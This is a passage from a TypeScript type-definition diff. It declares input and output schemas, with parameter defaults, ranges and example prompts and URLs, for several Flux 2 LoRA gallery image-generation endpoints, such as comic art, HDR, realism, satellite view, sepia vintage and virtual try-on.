+ * @default 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Whether to enable the safety checker for the generated image. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Random seed for reproducibility. Same seed with same prompt will produce same result. + */ + seed?: number | null + /** + * @description The CFG (Classifier Free Guidance) scale. Controls how closely the model follows the prompt. + * @minimum 0 + * @maximum 20 + * @default 2.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If `True`, the media will be returned as a data URI and won't be saved in history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The strength of the digital comic art effect. + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + lora_scale?: number + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiFlux2LoraGalleryDigitalComicArtAccelerationEnumKey + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The prompt to generate a digital comic art style image. Use 'd1g1t4l' trigger word for best results. + * @example A superhero flying over a city, d1g1t4l comic art style + * @example Action scene with explosion effects, digital comic illustration + * @example Comic book panel with dramatic lighting + * @type string + */ + prompt: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageF6D51088 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiFlux2LoraGalleryDigitalComicArt = { + /** + * @description The seed used for generation + * @type integer + */ + seed: number + /** + * @description The generated digital comic art style images + * @example [{"url":"https://v3b.fal.media/files/b/tiger/9_onjLEABvvZl9r-R6w_w.png"}] + * @type array + */ + images: ImageF6D51088[] + /** + * @description The prompt used for generation + * @type string + */ + prompt: string +} + +export type ImageSizeC208C6Aa = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2LoraGalleryFaceToFullPortraitImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2LoraGalleryFaceToFullPortraitImageSizeKey = + (typeof inputFalAiFlux2LoraGalleryFaceToFullPortraitImageSize)[keyof typeof inputFalAiFlux2LoraGalleryFaceToFullPortraitImageSize] + +export const inputFalAiFlux2LoraGalleryFaceToFullPortraitOutputFormatEnum = { + png: 'png', + jpeg: 'jpeg', + webp: 'webp', +} as const + +export type InputFalAiFlux2LoraGalleryFaceToFullPortraitOutputFormatEnumKey = + (typeof inputFalAiFlux2LoraGalleryFaceToFullPortraitOutputFormatEnum)[keyof typeof inputFalAiFlux2LoraGalleryFaceToFullPortraitOutputFormatEnum] + +export const inputFalAiFlux2LoraGalleryFaceToFullPortraitAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiFlux2LoraGalleryFaceToFullPortraitAccelerationEnumKey = + (typeof inputFalAiFlux2LoraGalleryFaceToFullPortraitAccelerationEnum)[keyof typeof inputFalAiFlux2LoraGalleryFaceToFullPortraitAccelerationEnum] + +/** + * @description Input model for Face to Full Portrait endpoint - Generate full portrait from face + * @type object + */ +export type InputFalAiFlux2LoraGalleryFaceToFullPortrait = { + /** + * @description The size of the generated image. If not provided, the size of the input image will be used. + */ + image_size?: + | ImageSizeC208C6Aa + | InputFalAiFlux2LoraGalleryFaceToFullPortraitImageSizeKey + | null + /** + * @description The format of the output image + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFlux2LoraGalleryFaceToFullPortraitOutputFormatEnumKey + /** + * @description The number of inference steps to perform. + * @minimum 4 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Whether to enable the safety checker for the generated image. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Random seed for reproducibility. Same seed with same prompt will produce same result. + */ + seed?: number | null + /** + * @description The URL of the cropped face image. + * @example ["https://v3b.fal.media/files/b/elephant/XJPJL2v5pAOmx9LemHWAE.png"] + * @type array + */ + image_urls: string[] + /** + * @description The CFG (Classifier Free Guidance) scale. Controls how closely the model follows the prompt. + * @minimum 0 + * @maximum 20 + * @default 2.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If `True`, the media will be returned as a data URI and won't be saved in history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The strength of the face to full portrait effect. + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + lora_scale?: number + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiFlux2LoraGalleryFaceToFullPortraitAccelerationEnumKey + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The prompt describing the full portrait to generate from the face. + * @default 'Face to full portrait' + * @example Face to full portrait + * @example Face to full portrait in professional attire + * @example Face to full portrait casual outdoor setting + * @type string | undefined + */ + prompt?: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageAce87C0F = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiFlux2LoraGalleryFaceToFullPortrait = { + /** + * @description The seed used for generation + * @type integer + */ + seed: number + /** + * @description The generated full portrait images from face + * @example [{"url":"https://v3b.fal.media/files/b/elephant/rlfpP4b6_PwqQK5F2pAKc.png"}] + * @type array + */ + images: ImageAce87C0F[] + /** + * @description The prompt used for generation + * @type string + */ + prompt: string +} + +export type ImageSize5786Ebc3 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2LoraGalleryHdrStyleImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2LoraGalleryHdrStyleImageSizeKey = + (typeof inputFalAiFlux2LoraGalleryHdrStyleImageSize)[keyof typeof inputFalAiFlux2LoraGalleryHdrStyleImageSize] + +export const inputFalAiFlux2LoraGalleryHdrStyleOutputFormatEnum = { + png: 'png', + jpeg: 'jpeg', + webp: 'webp', +} as const + +export type InputFalAiFlux2LoraGalleryHdrStyleOutputFormatEnumKey = + (typeof inputFalAiFlux2LoraGalleryHdrStyleOutputFormatEnum)[keyof typeof inputFalAiFlux2LoraGalleryHdrStyleOutputFormatEnum] + +export const inputFalAiFlux2LoraGalleryHdrStyleAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiFlux2LoraGalleryHdrStyleAccelerationEnumKey = + (typeof inputFalAiFlux2LoraGalleryHdrStyleAccelerationEnum)[keyof typeof inputFalAiFlux2LoraGalleryHdrStyleAccelerationEnum] + +/** + * @description Input model for HDR Style endpoint - Generate HDR style images with vibrant colors + * @type object + */ +export type InputFalAiFlux2LoraGalleryHdrStyle = { + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: + | ImageSize5786Ebc3 + | InputFalAiFlux2LoraGalleryHdrStyleImageSizeKey + /** + * @description The format of the output image + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFlux2LoraGalleryHdrStyleOutputFormatEnumKey + /** + * @description The number of inference steps to perform. + * @minimum 4 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Whether to enable the safety checker for the generated image. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Random seed for reproducibility. Same seed with same prompt will produce same result. + */ + seed?: number | null + /** + * @description The CFG (Classifier Free Guidance) scale. Controls how closely the model follows the prompt. + * @minimum 0 + * @maximum 20 + * @default 2.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If `True`, the media will be returned as a data URI and won't be saved in history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The strength of the HDR style effect. + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + lora_scale?: number + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiFlux2LoraGalleryHdrStyleAccelerationEnumKey + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The prompt to generate an HDR style image. The trigger word 'Hyp3rRe4list1c' will be automatically prepended. + * @example A wonderful tropical landscape + * @example A mystical forest with glowing mushrooms, intricate details and volumetric lighting + * @example Futuristic cityscape at night, photorealistic rendering with ray tracing + * @example Portrait with ultra detailed skin texture, natural lighting, 8K quality + * @type string + */ + prompt: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image99Bde1F6 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiFlux2LoraGalleryHdrStyle = { + /** + * @description The seed used for generation + * @type integer + */ + seed: number + /** + * @description The generated HDR style images + * @example [{"url":"https://v3b.fal.media/files/b/penguin/3gPcw3pH__e6teqtOEku9.png"}] + * @type array + */ + images: Image99Bde1F6[] + /** + * @description The prompt used for generation + * @type string + */ + prompt: string +} + +export type ImageSizeFc2F303A = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2LoraGalleryMultipleAnglesImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2LoraGalleryMultipleAnglesImageSizeKey = + (typeof inputFalAiFlux2LoraGalleryMultipleAnglesImageSize)[keyof typeof inputFalAiFlux2LoraGalleryMultipleAnglesImageSize] + +export const inputFalAiFlux2LoraGalleryMultipleAnglesOutputFormatEnum = { + png: 'png', + jpeg: 'jpeg', + webp: 'webp', +} as const + +export type InputFalAiFlux2LoraGalleryMultipleAnglesOutputFormatEnumKey = + (typeof inputFalAiFlux2LoraGalleryMultipleAnglesOutputFormatEnum)[keyof typeof inputFalAiFlux2LoraGalleryMultipleAnglesOutputFormatEnum] + +export const inputFalAiFlux2LoraGalleryMultipleAnglesAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiFlux2LoraGalleryMultipleAnglesAccelerationEnumKey = + (typeof inputFalAiFlux2LoraGalleryMultipleAnglesAccelerationEnum)[keyof typeof inputFalAiFlux2LoraGalleryMultipleAnglesAccelerationEnum] + +/** + * @description Input model for Multiple Angles endpoint - Camera control with precise adjustments using trigger word. Prompt is built automatically from slider values. + * @type object + */ +export type InputFalAiFlux2LoraGalleryMultipleAngles = { + /** + * @description The number of inference steps to perform. + * @minimum 4 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The size of the generated image. If not provided, the size of the input image will be used. + */ + image_size?: + | ImageSizeFc2F303A + | InputFalAiFlux2LoraGalleryMultipleAnglesImageSizeKey + | null + /** + * @description The format of the output image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFlux2LoraGalleryMultipleAnglesOutputFormatEnumKey + /** + * @description Horizontal rotation angle around the object in degrees. 0°=front view, 90°=right side, 180°=back view, 270°=left side, 360°=front view again. + * @minimum 0 + * @maximum 360 + * @default 0 + * @type number | undefined + */ + horizontal_angle?: number + /** + * @description Whether to enable the safety checker. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Random seed for reproducibility. + */ + seed?: number | null + /** + * @description Vertical camera angle in degrees. 0°=eye-level shot, 30°=elevated shot, 60°=high-angle shot (looking down from above). + * @minimum 0 + * @maximum 60 + * @default 0 + * @type number | undefined + */ + vertical_angle?: number + /** + * @description The CFG (Classifier Free Guidance) scale. + * @minimum 0 + * @maximum 20 + * @default 2.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If True, the media will be returned as a data URI. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The strength of the multiple angles effect. + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + lora_scale?: number + /** + * @description Acceleration level for image generation. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiFlux2LoraGalleryMultipleAnglesAccelerationEnumKey + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Camera zoom/distance. 0=wide shot (far away), 5=medium shot (normal), 10=close-up (very close). + * @minimum 0 + * @maximum 10 + * @default 5 + * @type number | undefined + */ + zoom?: number + /** + * @description The URL of the image to adjust camera angle for. + * @example ["https://v3.fal.media/files/monkey/i3saq4bAPXSIl08nZtq9P_ec535747aefc4e31943136a6d8587075.png"] + * @type array + */ + image_urls: string[] +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image3Cb695Db = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiFlux2LoraGalleryMultipleAngles = { + /** + * @description The seed used for generation + * @type integer + */ + seed: number + /** + * @description The generated images with multiple camera angles + * @example [{"url":"https://v3b.fal.media/files/b/0a848d46/EYFbhE4axwlNB3OSKfdre.png"}] + * @type array + */ + images: Image3Cb695Db[] + /** + * @description The prompt used for generation + * @type string + */ + prompt: string +} + +export type ImageSizeCe4E5D0A = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2LoraGalleryRealismImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2LoraGalleryRealismImageSizeKey = + (typeof inputFalAiFlux2LoraGalleryRealismImageSize)[keyof typeof inputFalAiFlux2LoraGalleryRealismImageSize] + +export const inputFalAiFlux2LoraGalleryRealismOutputFormatEnum = { + png: 'png', + jpeg: 'jpeg', + webp: 'webp', +} as const + +export type InputFalAiFlux2LoraGalleryRealismOutputFormatEnumKey = + (typeof inputFalAiFlux2LoraGalleryRealismOutputFormatEnum)[keyof typeof inputFalAiFlux2LoraGalleryRealismOutputFormatEnum] + +export const inputFalAiFlux2LoraGalleryRealismAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiFlux2LoraGalleryRealismAccelerationEnumKey = + (typeof inputFalAiFlux2LoraGalleryRealismAccelerationEnum)[keyof typeof inputFalAiFlux2LoraGalleryRealismAccelerationEnum] + +/** + * @description Input model for Realism endpoint - Generate realistic style images + * @type object + */ +export type InputFalAiFlux2LoraGalleryRealism = { + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: ImageSizeCe4E5D0A | InputFalAiFlux2LoraGalleryRealismImageSizeKey + /** + * @description The format of the output image + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFlux2LoraGalleryRealismOutputFormatEnumKey + /** + * @description The number of inference steps to perform. + * @minimum 4 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Whether to enable the safety checker for the generated image. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Random seed for reproducibility. Same seed with same prompt will produce same result. + */ + seed?: number | null + /** + * @description The CFG (Classifier Free Guidance) scale. Controls how closely the model follows the prompt. + * @minimum 0 + * @maximum 20 + * @default 2.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If `True`, the media will be returned as a data URI and won't be saved in history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The strength of the realism effect. + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + lora_scale?: number + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiFlux2LoraGalleryRealismAccelerationEnumKey + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The prompt to generate a realistic image with natural lighting and authentic details. + * @example A portrait of a woman with natural lighting + * @example Street photography of a busy city scene + * @example Landscape photography of mountains at golden hour + * @example Documentary style photo of everyday life + * @type string + */ + prompt: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image87B3552B = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiFlux2LoraGalleryRealism = { + /** + * @description The seed used for generation + * @type integer + */ + seed: number + /** + * @description The generated realistic style images + * @example [{"url":"https://v3b.fal.media/files/b/koala/zjTCkqpflaiokwqCX3fKk.png"}] + * @type array + */ + images: Image87B3552B[] + /** + * @description The prompt used for generation + * @type string + */ + prompt: string +} + +export type ImageSizeA007D760 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2LoraGallerySatelliteViewStyleImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2LoraGallerySatelliteViewStyleImageSizeKey = + (typeof inputFalAiFlux2LoraGallerySatelliteViewStyleImageSize)[keyof typeof inputFalAiFlux2LoraGallerySatelliteViewStyleImageSize] + +export const inputFalAiFlux2LoraGallerySatelliteViewStyleOutputFormatEnum = { + png: 'png', + jpeg: 'jpeg', + webp: 'webp', +} as const + +export type InputFalAiFlux2LoraGallerySatelliteViewStyleOutputFormatEnumKey = + (typeof inputFalAiFlux2LoraGallerySatelliteViewStyleOutputFormatEnum)[keyof typeof inputFalAiFlux2LoraGallerySatelliteViewStyleOutputFormatEnum] + +export const inputFalAiFlux2LoraGallerySatelliteViewStyleAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiFlux2LoraGallerySatelliteViewStyleAccelerationEnumKey = + (typeof inputFalAiFlux2LoraGallerySatelliteViewStyleAccelerationEnum)[keyof typeof inputFalAiFlux2LoraGallerySatelliteViewStyleAccelerationEnum] + +/** + * @description Input model for Satellite View Style endpoint - Generate satellite/aerial view style images + * @type object + */ +export type InputFalAiFlux2LoraGallerySatelliteViewStyle = { + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: + | ImageSizeA007D760 + | InputFalAiFlux2LoraGallerySatelliteViewStyleImageSizeKey + /** + * @description The format of the output image + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFlux2LoraGallerySatelliteViewStyleOutputFormatEnumKey + /** + * @description The number of inference steps to perform. + * @minimum 4 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Whether to enable the safety checker for the generated image. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Random seed for reproducibility. Same seed with same prompt will produce same result. + */ + seed?: number | null + /** + * @description The CFG (Classifier Free Guidance) scale. Controls how closely the model follows the prompt. + * @minimum 0 + * @maximum 20 + * @default 2.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If `True`, the media will be returned as a data URI and won't be saved in history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The strength of the satellite view style effect. + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + lora_scale?: number + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiFlux2LoraGallerySatelliteViewStyleAccelerationEnumKey + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The prompt to generate a satellite/aerial view style image. + * @example Aerial view of a city from above, satellite style + * @example Satellite view of mountains and valleys + * @example Bird's eye view of a coastal town + * @type string + */ + prompt: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageEdf0Dcc7 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiFlux2LoraGallerySatelliteViewStyle = { + /** + * @description The seed used for generation + * @type integer + */ + seed: number + /** + * @description The generated satellite view style images + * @example [{"url":"https://v3b.fal.media/files/b/zebra/_rfPAtMbIRCRgKIbG990u.png"}] + * @type array + */ + images: ImageEdf0Dcc7[] + /** + * @description The prompt used for generation + * @type string + */ + prompt: string +} + +export type ImageSizeD805Ffc0 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2LoraGallerySepiaVintageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2LoraGallerySepiaVintageImageSizeKey = + (typeof inputFalAiFlux2LoraGallerySepiaVintageImageSize)[keyof typeof inputFalAiFlux2LoraGallerySepiaVintageImageSize] + +export const inputFalAiFlux2LoraGallerySepiaVintageOutputFormatEnum = { + png: 'png', + jpeg: 'jpeg', + webp: 'webp', +} as const + +export type InputFalAiFlux2LoraGallerySepiaVintageOutputFormatEnumKey = + (typeof inputFalAiFlux2LoraGallerySepiaVintageOutputFormatEnum)[keyof typeof inputFalAiFlux2LoraGallerySepiaVintageOutputFormatEnum] + +export const inputFalAiFlux2LoraGallerySepiaVintageAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiFlux2LoraGallerySepiaVintageAccelerationEnumKey = + (typeof inputFalAiFlux2LoraGallerySepiaVintageAccelerationEnum)[keyof typeof inputFalAiFlux2LoraGallerySepiaVintageAccelerationEnum] + +/** + * @description Input model for Sepia Vintage Photography endpoint - Generate vintage sepia style images + * @type object + */ +export type InputFalAiFlux2LoraGallerySepiaVintage = { + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: + | ImageSizeD805Ffc0 + | InputFalAiFlux2LoraGallerySepiaVintageImageSizeKey + /** + * @description The format of the output image + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFlux2LoraGallerySepiaVintageOutputFormatEnumKey + /** + * @description The number of inference steps to perform. + * @minimum 4 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Whether to enable the safety checker for the generated image. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Random seed for reproducibility. Same seed with same prompt will produce same result. + */ + seed?: number | null + /** + * @description The CFG (Classifier Free Guidance) scale. Controls how closely the model follows the prompt. + * @minimum 0 + * @maximum 20 + * @default 2.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If `True`, the media will be returned as a data URI and won't be saved in history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The strength of the sepia vintage photography effect. + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + lora_scale?: number + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiFlux2LoraGallerySepiaVintageAccelerationEnumKey + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The prompt to generate a sepia vintage photography style image. + * @example A portrait of a Victorian lady in sepia tones + * @example Vintage street scene with old cars, sepia photography + * @example Old family photo in sepia vintage style + * @type string + */ + prompt: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageE1565095 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiFlux2LoraGallerySepiaVintage = { + /** + * @description The seed used for generation + * @type integer + */ + seed: number + /** + * @description The generated sepia vintage photography style images + * @example [{"url":"https://v3b.fal.media/files/b/zebra/qOMZKBNStQgVkaKB9SLY4.png"}] + * @type array + */ + images: ImageE1565095[] + /** + * @description The prompt used for generation + * @type string + */ + prompt: string +} + +export type ImageSize600999Db = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2LoraGalleryVirtualTryonImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2LoraGalleryVirtualTryonImageSizeKey = + (typeof inputFalAiFlux2LoraGalleryVirtualTryonImageSize)[keyof typeof inputFalAiFlux2LoraGalleryVirtualTryonImageSize] + +export const inputFalAiFlux2LoraGalleryVirtualTryonOutputFormatEnum = { + png: 'png', + jpeg: 'jpeg', + webp: 'webp', +} as const + +export type InputFalAiFlux2LoraGalleryVirtualTryonOutputFormatEnumKey = + (typeof inputFalAiFlux2LoraGalleryVirtualTryonOutputFormatEnum)[keyof typeof inputFalAiFlux2LoraGalleryVirtualTryonOutputFormatEnum] + +export const inputFalAiFlux2LoraGalleryVirtualTryonAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiFlux2LoraGalleryVirtualTryonAccelerationEnumKey = + (typeof inputFalAiFlux2LoraGalleryVirtualTryonAccelerationEnum)[keyof typeof inputFalAiFlux2LoraGalleryVirtualTryonAccelerationEnum] + +/** + * @description Input model for Virtual Try-on endpoint - Generate virtual try-on images + * @type object + */ +export type InputFalAiFlux2LoraGalleryVirtualTryon = { + /** + * @description The size of the generated image. If not provided, the size of the input image will be used. + */ + image_size?: + | ImageSize600999Db + | InputFalAiFlux2LoraGalleryVirtualTryonImageSizeKey + | null + /** + * @description The format of the output image + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFlux2LoraGalleryVirtualTryonOutputFormatEnumKey + /** + * @description The number of inference steps to perform. + * @minimum 4 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + 